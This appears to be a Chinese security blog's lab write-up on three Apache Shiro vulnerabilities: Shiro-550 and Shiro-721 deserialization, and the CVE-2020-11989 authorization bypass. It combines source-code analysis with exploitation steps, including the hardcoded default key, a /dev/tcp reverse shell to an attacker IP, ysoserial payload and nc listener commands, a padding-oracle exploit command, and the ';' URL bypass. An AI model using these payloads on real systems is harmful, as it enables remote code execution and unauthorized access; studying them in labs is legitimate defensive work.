Shrio漏洞学习
Shrio反序列化命令执行(Shiro-550 CVE-2016-4437)
影响范围:
shiro <= 1.2.4 存在反序列化漏洞
漏洞缘由:
Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:
- 检索RememberMe Cookie的值
- Base 64解码
- AES解密(加密密钥硬编码)
- 进行反序列化操作(未过滤处理)
攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令
漏洞影响:
只要rememberMe的AES加密密钥泄漏,无论shiro什么版本都会导致反序列化漏洞。
漏洞搭建:
https://github.com/Medicean/VulApps/tree/master/s/shiro/1
拉取镜像到本地
1 |
$ docker pull medicean/vulapps:s_shiro_1 |
启动环境
1 |
$ docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1 |
访问8081端口
漏洞利用
相关环境:
靶机:192.168.247.130
攻击机:192.168.247.129
使用Shiro_exploit工具,检查是否存在默认的key。
Github项目地址: https://github.com/insightglacier/Shiro_exploit
1 |
python shiro_exploit.py -u http://192.168.247.130:8081/ |
存在默认key: CipherKey:kPH+bIxk5D2deZiIxcaaaA==
利用方式一:反弹shell
制作反弹shell 代码
使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码
1 |
bash -I >& /dev/tcp 192.168.247.129/1234 0>&1 |
使用 ysoserial 中 JRMP 监听模块,监听6666端口
ysoserial 地址: https://github.com/frohoff/ysoserial
攻击机中执行命令:
1 |
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ny4xMjkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}' |
监听反弹端口 1234
攻击机中执行命令:
1 |
nc -lvnp 1234 |
生成 POC
shrio.py
1 |
import sys |
shrio.py 和 ysoserial.jar 放在同一目录下,攻击机中执行如下命令
1 |
python3 shiro.py 192.168.247.129:6666 |
得到rememberMe
抓取登录后的数据包,修改 cookie的 rememberMe 。
反弹成功
利用方式二:写入shell
生成poc.ser
1 |
java -jar ysoserial.jar CommonsBeanutils1 "echo 'this a test' > /tmp/shell" > poc.ser |
代码
1 |
import org.apache.shiro.crypto.AesCipherService; |
这里没尝试成功
漏洞分析
环境搭建
1 |
//jdk1.6版本 window jdk版本切换:w |
在.m2目录下创建一个toolchains.xml文件,然后加入jdk 1.6的路径,这个版本的编译依赖jdk1.6
1 |
<?xml version="1.0" encoding="UTF-8"?> |
加密过程
org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin设置断点,点击debug开启tomcat服务,在web端登陆账户,勾选Remember Me按钮,
首先代码对调用 forgetIdentity 对subject变量进行处理,跟进此方法,即CookieRememberMeManager类的forgetIdentity
1 |
//org.apache.shiro.web.mgt.CookieRememberMeManager |
调用 另一 forgetIdentity 方法处理request和response请求,这里调用了removeFrom方法
1 |
//org.apache.shiro.web.mgt.CookieRememberMeManager |
removeFrom 添加 response 的头部信息
1 |
//org.apache.shiro.web.servlet.SimpleCookie |
然后,重新返回到 onSuccessfulLogin 方法
1 |
//org.apache.shiro.mgt.AbstractRememberMeManager |
这里判断是否对token进行了isRememberMe,这个 isRememberMe 看是否在这个web登陆中勾选了remember me,这里已勾选,继续下一步
1 |
//org.apache.shiro.mgt.AbstractRememberMeManager |
进入 rememberIdentity 方法中,principals 为 用户名
1 |
//org.apache.shiro.mgt.AbstractRememberMeManager |
又调用另外一个重载 rememberIdentity,跟进其方法,通过convertPrincipalsToBytes对accountPrincipals变量进行处理
1 |
//org.apache.shiro.mgt.AbstractRememberMeManager |
跟进convertPrincipalsToBytes方法发现它会序列化我们传入的用户名,然后调用encrypt方法加密序列化后的二进制字节。
1 |
//org.apache.shiro.mgt.AbstractRememberMeManager |
跟进encrypt,使用AES的 CBC分组加密模式,加密秘钥this.getEncryptionCipherKey() 和DEFAULT_CIPHER_KEY_BYTES 一致
1 |
//org.apache.shiro.mgt.AbstractRememberMeManager |
再返回rememberIdentity,将序列化用户名并AES加密的二进制字节传入rememberSerializedIdentity方法中,进行base64编码,跟进此方法
1 |
//org.apache.shiro.mgt.AbstractRememberMeManager |
将传入的二进制字节进行base64编码并添加到cookie中
1 |
//org.apache.shiro.web.mgt.CookieRememberMeManager |
cookie.saveTo()将cookie的相关属性值添加到reponse请求包头部。
1 |
public void saveTo(HttpServletRequest request, HttpServletResponse response) { |
加密过程就是将登入的用户名进行反序列化,并用AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES(硬编码)值做为key,进行AES的CBC分组模式进行加密,然后又base64编码,最后添加到response请求包的set-cookie头部里
解密过程
在org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法设置断点
调用getRememberedSerializedIdentity处理http请求,跟进此方法,利用this.getCookie().readValue(request, response)读取 cookie 中 rememberMe 的值,并对其值进行base64解码
1 |
//org.apache.shiro.web.mgt.CookieRememberMeManager |
再返回getRememberedPrincipals方法,调用this.convertBytesToPrincipals(bytes, subjectContext),对rememberMe的base64解码后的值进行处理,跟进此方法,convertBytesToPrincipals 对传入的二进制字符串进行解密和反序列化操作。可以跟进decrypt方法查看具体的解密操作。
1 |
//org.apache.shiro.mgt.AbstractRememberMeManager |
decrypt方法中的调用 AES 的 CBC 模式进行解密,key为硬编码的值。
1 |
//org.apache.shiro.mgt.AbstractRememberMeManager |
所以解密过程为加密过程的相反操作,如果得知AES算法中的key(硬编码),就可以构造任意的反序列化字符串,进行RCE。
修复方式:
官方针对这个问题的修复方式:
1、删除相关默认密钥
2、如果没有配置密钥,会随机生成一个密钥。
Shiro Padding Oracle Attack(Shiro-721 CVE-2019-12422)
Shiro实用AES-CBC模式进行加解密,存在Padding Oracle Attack漏洞,已登录的攻击者同样可进行反序列化操作。
影响范围:Apache Shiro < 1.4.2
利用条件:
1.攻击者知道密文和初始向量IV
2.padding错误和padding正确服务器可返回不一样的状态
攻击效果:
正常CBC解密需要知道IV、Key、密文,而通过Padding Oracle漏洞,只用知道IV、密文即可获得明文
shiro-1.25以前,AES密钥是硬编码到源码中的,因此可以更改RememberMe的值进行反序列化RCE
而1.2.5之后,shiro采用了随机密钥,也就引出了SHIRO-721,通过padding oracle attack的方式得到,
根据p0师傅之前的文章,在shiro中,当我们更改padding值时,padding正确但反序列化错误则会爆deserialize error;padding错误爆padding error
RememberMe使用AES-128-CBC模式加密,容易受到Padding Oracle攻击,AES的初始化向量iv就是rememberMe的base64解码后的前16个字节,攻击者只要使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后就可以构造RememberMe进行反序列化攻击,攻击者无需知道RememberMe加密的密钥。
漏洞利用
环境配置
1 |
git clone https://github.com/3ndz/Shiro-721.git |
攻击流程:
- 登录网站(勾选Remember),并从Cookie中获取合法的RememberMe。
- 使用RememberMe cookie作为Padding Oracle Attack的前缀。
- 加密 ysoserial 的序列化 payload,以通过Padding Oracle Attack制作恶意RememberMe。
- 重放恶意RememberMe cookie,以执行反序列化攻击
1.登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me)
(1) 认证失败时会设置deleteMe的cookie:
(2) 认证成功则不会设置deleteMe的cookie:
根据以上条件我们的思路是在正常序列化数据(需要一个已知的用户凭证获取正常序列化数据)后利用 Padding Oracle 构造我们自己的数据(Java序列化数据后的脏数据不影响反序列化结果),此时会有两中情况:
- 构造的数据不能通过字符填充验证,返回deleteme;
- 构造的数据可以成功解密通过字符填充验证,之后数据可以正常反序列化,不返回deleteme的cookie.
获取cookie
2.生成java payload
1 |
java -jar ysoserial.jar CommonsBeanutils1 "ping awa4xw.ceye.io" > payload.class |
3.执行exp,经过了几十分钟的爆破,得到padding oracle attack后的cookie
1 |
python2 shiro_exp.py http://192.168.247.130:8080/ NqoZZVVnFvBxH0m7tavNPhx2H2mPLucccvcuM3WSSIQIWyksw3xnNG70MWsSy+TFCUZEkiQSdV38fTmfJgsuEJPFLUrVQUwDkZ+disZ5k1auCE2swMsLE7cUxDykdPk79k6Q0k6N8rZpszd/1+F6uoA8PDH9zaYt7RwXUS2z+JKFV30Cl7h0zZvlKYK98DrITFX8sW0Z/veIgh6G3ljIAIo6CgRUKMwYsi1dfD+HeE5qxTpofOfyuUnkguzY//gvEahmxWy85qMBgSchENUn+aKOFWnrtEvTQ3bOhN3T5Lb2zz0waCSpFEyC+tBDYxUWiiANjJnkUf/KtOZ/tQheAjZezmBymL5qOQJPMaVuGyQtX7AGIhn3r3wrLdQsCog4NzCM5EcaNV4zuGEXL4Mfnk0xh7Lv4O04c931gCRM6zv5hB743NwjdO72hc1TcC/CYLRjfs5rUWHerNClnBJhw5h+pQuJdZ0qsv95aC0Qeh4ywpQKELPfpbuZNEd1zt75 payload.class |
4.复制该cookie,然后重放一下数据库,即可成功执行命令
漏洞分析
Apache Shiro权限绕过漏洞分析(CVE-2020-11989)
详情可看: https://xz.aliyun.com/t/7964
影响范围
- Apache Shiro < 1.5.3
- Spring 框架中只使用 Shiro 鉴权
利用条件:
- 应用不能部署在根目录,也就是需要context-path,server.servlet.context-path=/test,如果为根目录则context-path为空,就会被CVE-2020-1957的patch将URL格式化,值得注意的是若Shiro版本小于1.5.2的话那么该条件就不需要。
- Spring控制器中没有另外的权限校验代码
如果直接访问 /test/admin/page ,会返回302跳转要求登录
但是访问 /;/test/admin/page , 就能直接绕过Shiro权限验证,访问到/admin路由中的信息
漏油缘由:
Tomcat判断/;test/admin/page 为test应用下的/admin/page路由,进入到Shiro时被;截断被认作为/,再进入Spring时又被正确处理为test应用下的/admin/page路由,最后导致shiro的权限绕过。
另外一种思路: https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/
参考文章:
Apache Shiro权限绕过漏洞分析(CVE-2020-11989) :https://xz.aliyun.com/t/7964
Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989): https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/
Shiro反序列化漏洞分析
Shiro反序列化分析带思路及组件检测笔记:https://xz.aliyun.com/t/8997
Shiro反序列化漏洞利用汇总:https://cloud.tencent.com/developer/article/1657019
Shiro Padding Oracle Attack 反序列化:anquanke.com/post/id/200793
Shiro 721 Padding Oracle攻击漏洞分析:https://www.anquanke.com/post/id/193165
从更深层面看Shiro Padding Oracle漏洞:https://www.anquanke.com/post/id/203869
Apache Shiro Padding Oracle反序列化漏洞分析(下):https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2020/02/09/analysis-shiro-padding-oracle-2/
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论